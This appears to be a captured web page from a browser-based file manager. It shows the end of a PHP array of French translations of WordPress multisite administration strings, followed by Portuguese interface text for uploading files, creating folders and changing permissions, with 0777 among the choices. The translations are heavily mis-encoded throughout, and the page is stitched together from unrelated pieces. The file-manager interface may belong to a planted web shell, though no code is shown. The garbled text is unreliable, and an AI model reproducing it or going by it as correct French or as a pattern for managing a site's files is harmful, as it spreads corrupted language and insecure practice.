users/viewers.'=>'LâID du site est utilisĂ© en interne et nâest pas affichĂ© dans la partie publique du site, ni aux comptes/visiteurs.','Deactivate, Archive, and Spam which lead to confirmation screens. These actions can be reversed later.'=>'« DĂ©sactiver », « Archiver » et « IndĂ©sirable » envoient chacun Ă des Ă©crans de confirmation. Ces actions peuvent ĂȘtre annulĂ©es par la suite.','Hovering over each site reveals seven options (three for the primary site):'=>'Survoler chaque site avec la souris rĂ©vĂšle sept options (trois pour le site principal) :','Operational settings has fields for the network’s name and admin email.'=>'Les rĂ©glages de fonctionnement permettent de modifier le nom du rĂ©seau, et lâadresse e-mail de lâadministrateur ou de lâadministratrice.','The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses.'=>'Le menu « Actions groupĂ©es » permet de supprimer dĂ©finitivement plusieurs comptes dâun coup, ou de les marquer comme indĂ©sirables ou non. Les comptes indĂ©sirables verront leurs articles supprimĂ©s, et ne pourront plus se connecter avec leur adresse e-mail.','You can also go to the user’s profile page by clicking on the individual username.'=>'Vous pouvez Ă©galement aller sur la page de profil dâun compte en cliquant sur son identifiant.','Upload settings control the size of the uploaded files and the amount of available upload space for each site. You can change the default value for specific sites when you edit a particular site. Allowed file types are also listed (space separated only).'=>'Les rĂ©glages dâenvoi des fichiers permettent de limiter la taille des fichiers tĂ©lĂ©versĂ©s et lâespace disponible pour chaque site. Vous pouvez prĂ©ciser la valeur pour chaque site individuellement. Vous pouvez Ă©galement prĂ©ciser les types de fichiers acceptĂ©s (sĂ©parĂ©s par des espaces).','Visit to go to the front-end site live.'=>'« Visiter » envoie vers la page dâaccueil du site.','You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege.'=>'Vous pouvez promouvoir un compte existant en super-admin en allant sur leur page de profil, et en cochant la case correspondante.','Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them.'=>'Les comptes qui se sont inscrits sur le rĂ©seau sans crĂ©er de site deviennent abonnĂ©s du site dâaccueil. Celui-ci leur permet dâaccĂ©der Ă leur compte. Ces comptes ne voient dans la navigation principale que les options « Tableau de bord » et « Mes sites », jusquâĂ ce quâun site leur soit créé.','You can sort the table by clicking on any of the table headings and switch between list and excerpt views by using the icons above the users list.'=>'Un clic sur le titre dâune colonne permet de changer le tri du tableau. Les icĂŽnes en haut Ă droite permettent dâafficher des extraits ou non.','This table shows all users across the network and the sites to which they are assigned.'=>'Ce tableau affiche tous les comptes appartenant au rĂ©seau, et les sites auxquels ils sont assignĂ©s.','If this process fails for any reason, users logging in to their sites will force the same update.'=>'Si ce processus Ă©choue pour nâimporte quelles raisons, les comptes se connectant Ă leurs sites dĂ©clencheront la mĂȘme mise Ă jour.','If a version update to core has not happened, clicking this button will not affect anything.'=>'Sâil nây a pas eu de mise Ă jour du cĆur WordPress rĂ©cemment, cliquer sur ce bouton nâaura aucun effet.','If the network admin disables a theme that is in use, it can still remain selected on that site. If another theme is chosen, the disabled theme will not appear in the site’s Appearance > Themes screen.'=>'Si lâadministrateur/administratrice du rĂ©seau dĂ©sactive un thĂšme en cours dâutilisation par un site, ce thĂšme restera en place pour ce site. Si le site change de thĂšme, le thĂšme dĂ©sactivĂ© nâapparaĂźtra plus dans lâĂ©cran de sĂ©lection des thĂšmes de ce site.','This screen enables and disables the inclusion of themes available to choose in the Appearance menu for each site. It does not activate or deactivate which theme a site is currently using.'=>'Cet Ă©cran permet dâactiver ou dĂ©sactiver la disponibilitĂ© des thĂšmes pour tous les sites du rĂ©seau. Il ne permet pas dâactiver ou activer le thĂšme actuellement utilisĂ© ce site.','This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table.'=>'Voici la liste de tous les sites de ce rĂ©seau. Vous pouvez changer de vue (liste avec ou sans extrait) en utilisant les icĂŽnes prĂ©sentes en haut Ă droite de la liste.','Menu setting enables/disables the plugin menus from appearing for non super admins, so that only super admins, not site admins, have access to activate plugins.'=>'Le rĂ©glage du menu (dĂ©s)active la section « Extensions » du menu pour les comptes normaux, de telle sorte que seuls les super-admins peuvent y accĂ©der pour activer une extension.','New site settings are defaults applied when a new site is created in the network. These include welcome email for when a new site or user account is registered, and what᾿s put in the first post, page, comment, comment author, and comment URL.'=>'Les rĂ©glages des nouveaux sites sont les rĂ©glages par dĂ©faut appliquĂ©s Ă tout nouveau site créé sur le rĂ©seau. Cela comprend le message dâaccueil quand un nouveau compte ou un nouveau site est enregistrĂ©, ainsi que le contenu du premier article, de la premiĂšre page et du premier commentaire (dont le nom et lâURL de la personne ayant commentĂ©).','Registration settings can disable/enable public signups. If you let others sign up for a site, install spam plugins. Spaces, not commas, should separate names banned as sites for this network.'=>'Les rĂ©glages dâinscription permettent dâouvrir ou fermer les inscriptions au public. Si vous ouvrez les inscriptions, veillez Ă installer des extensions antispam. Les domaines bannis devraient ĂȘtre indiquĂ©s sĂ©parĂ©s dâun espace, non dâune virgule.','This screen sets and changes options for the network as a whole. The first site is the main site in the network and network options are pulled from that original site’s options.'=>'Cet Ă©cran vous donne accĂšs aux options rĂ©gissant lâensemble du rĂ©seau. Le premier site est le site principal du rĂ©seau, et les options du rĂ©seau sont tirĂ©es des options de ce premier site.','The following words are reserved for use by WordPress functions and cannot be used as site names: %s'=>'Les mots suivants sont rĂ©servĂ©s pour lâusage de fonctions WordPress et ne peuvent pas ĂȘtre utilisĂ©s comme nom de site : %s','If your browser does not start loading the next page automatically, click this link:'=>'Si votre navigateur ne lance pas automatiquement la page suivante, cliquez sur ce lien :','If you want to ban domains from site registrations. One domain per line.'=>'Si vous souhaitez interdire la crĂ©ation de site aux personnes dont lâadresse e-mail est liĂ©e Ă certains noms de domaines. Un domaine par ligne.','If you want to limit site registrations to certain domains. One domain per line.'=>'Si vous souhaitez que les seules personnes habilitĂ©es Ă crĂ©er un site soient celles disposant dâune adresse e-mail liĂ©e Ă certains noms de domaines. Un domaine par ligne.','Users removed from spam.'=>'Comptes retirĂ©s de la liste de comptes indĂ©sirables.','Site marked as spam.'=>'Site marquĂ© comme indĂ©sirable.','Site removed from spam.'=>'Site marquĂ© comme sain.','Sites marked as spam.'=>'Sites marquĂ©s comme indĂ©sirables.','Sites removed from spam.'=>'Sites retirĂ©s des indĂ©sirables.','Users deleted.'=>'Comptes supprimĂ©s.','Users marked as spam.'=>'Comptes marquĂ©s comme indĂ©sirables.','Site deactivated.'=>'Site dĂ©sactivĂ©.','Site activated.'=>'Site activĂ©.','Site unarchived.'=>'Site dĂ©sarchivĂ©.','Site archived.'=>'Site archivĂ©.','Site deleted.'=>'Site effacĂ©.','Sites deleted.'=>'Sites effacĂ©s.','Sorry, you are not allowed to change the current site.'=>'DĂ©solĂ©, vous nâavez pas lâautorisation de modifier le site actuel.','There was an error creating the user.'=>'Une erreur sâest produite lors de la crĂ©ation du compte.','Upload file types'=>'Types des fichiers tĂ©lĂ©versĂ©s','Limit total size of files uploaded to %s MB'=>'La taille totale des fichiers tĂ©lĂ©versĂ©s est limitĂ©e Ă %s Mo','The URL for the first comment on a new site.'=>'LâURL du premier commentaire sur tout nouveau site.','The author of the first comment on a new site.'=>'Lâauteur ou lâautrice du premier commentaire sur tout nouveau site.','The first comment on a new site.'=>'Le premier commentaire sur tout nouveau site.','The first page on a new site.'=>'La premiĂšre page sur tout nouveau site.','The first post on a new site.'=>'Le premier article sur un nouveau site.','All done!'=>'Terminé !','Both sites and user accounts can be registered'=>'La crĂ©ation de sites et de comptes est autorisĂ©e.','Logged in users may register new sites'=>'Les comptes connectĂ©s peuvent crĂ©er de nouveaux sites.','User accounts may be registered'=>'Des comptes peuvent ĂȘtre créés.','Registration is disabled'=>'Les inscriptions ne sont pas autorisĂ©es pour le moment.','Enable administration menus'=>'Activer les menus dâadministration','Upload Settings'=>'RĂ©glages des tĂ©lĂ©versements','New Site Settings'=>'RĂ©glages des nouveaux sites','Registration Settings'=>'RĂ©glages dâinscription','Operational Settings'=>'RĂ©glages de fonctionnement','Missing email address.'=>'Adresse e-mail manquante.','Missing or invalid site address.'=>'Adresse de site manquante ou non valide.','Next Sites'=>'Sites suivants','Site upload space'=>'Espace de stockage du site','The welcome email sent to new site owners.'=>'Ce message de bienvenue sera envoyĂ© aux propriĂ©taires de nouveaux sites.','Users are not allowed to register these sites. Separate names by spaces.'=>'Les comptes ne sont pas autorisĂ©s Ă crĂ©er un site avec lâun de ces noms. SĂ©parez les noms par un espace.','Send the network admin an email notification every time someone registers a site or user account'=>'Envoyer un message Ă lâadministrateur ou Ă lâadministratrice du rĂ©seau Ă chaque crĂ©ation de site ou de compte.','Network Admin Email'=>'E-mail de lâadministrateur ou de lâadministratrice du rĂ©seau','A new user will be created if the above email address is not in the database.'=>'Un nouveau compte sera créé si lâadresse e-mail nâexiste pas dans la base de donnĂ©es.','Admin Email'=>'E-mail de lâadministrateur ou de lâadministratrice','Add Site'=>'Ajouter un site','Default Language'=>'Langue par dĂ©faut','Max upload file size'=>'Taille maximale des fichiers tĂ©lĂ©versĂ©s','First Comment URL'=>'Adresse du premier commentaire','First Comment Author'=>'Auteur ou autrice du premier commentaire','First Comment'=>'Premier commentaire','First Page'=>'PremiĂšre page','The welcome email sent to new users.'=>'Ce message de bienvenue sera envoyĂ© aux nouveaux comptes.','Welcome User Email'=>'Message de bienvenue aux nouveaux comptes','Welcome Email'=>'Message de bienvenue','Banned Email Domains'=>'Noms de domaines bannis','Limited Email Registrations'=>'Enregistrement rĂ©servĂ© aux noms de domaines','Banned Names'=>'Noms bannis','Add New Users'=>'Ajouter de nouveaux comptes','Registration notification'=>'Notification dâinscription','Allow new registrations'=>'Autoriser les nouvelles inscriptions','Duplicated username or email address.'=>'Identifiant ou adresse e-mail dĂ©jĂ utilisĂ©(e).','Cannot create an empty user.'=>'Impossible de crĂ©er un compte vide.']];
đŸ Salvar
â Cancelar
Enviar Arquivo
Selecionar arquivo:
Enviar
Cancelar
Criar Nova Pasta
Nome da pasta:
Criar
Cancelar
Alterar PermissÔes
Nova permissĂŁo:
0644 (rw-r--r--)
0755 (rwxr-xr-x)
0777 (rwxrwxrwx)
0600 (rw-------)
0700 (rwx------)
0444 (r--r--r--)
đŸ Salvar
Cancelar